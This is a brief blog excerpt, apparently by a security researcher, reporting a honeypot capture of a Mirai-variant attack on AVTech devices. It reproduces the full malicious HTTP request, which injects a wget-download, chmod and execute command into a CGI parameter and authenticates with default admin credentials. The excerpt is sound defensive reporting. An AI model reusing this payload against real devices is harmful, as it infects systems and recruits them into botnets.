Archive for February 2017

Yet another Mirai strain targeting AVTech devices

My Suricata IDS triggered on an HTTP request to my honeypot this morning: ET WEB_SERVER Suspicious Chmod Usage in URI   Further investigation revealed this incoming request: POST /cgi-bin/supervisor/CloudSetup.cgi?exefile=wget%20-O%20/tmp/Arm1%20http://172.247.x.y:85/Arm1;chmod%200777%20/tmp/Arm1;/tmp/Arm1 HTTP/1.1 Host: [redacted] Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.13.0 Content-Length: 0 Authorization: Basic YWRtaW46YWRtaW4=   The request seems to take advantage of a […]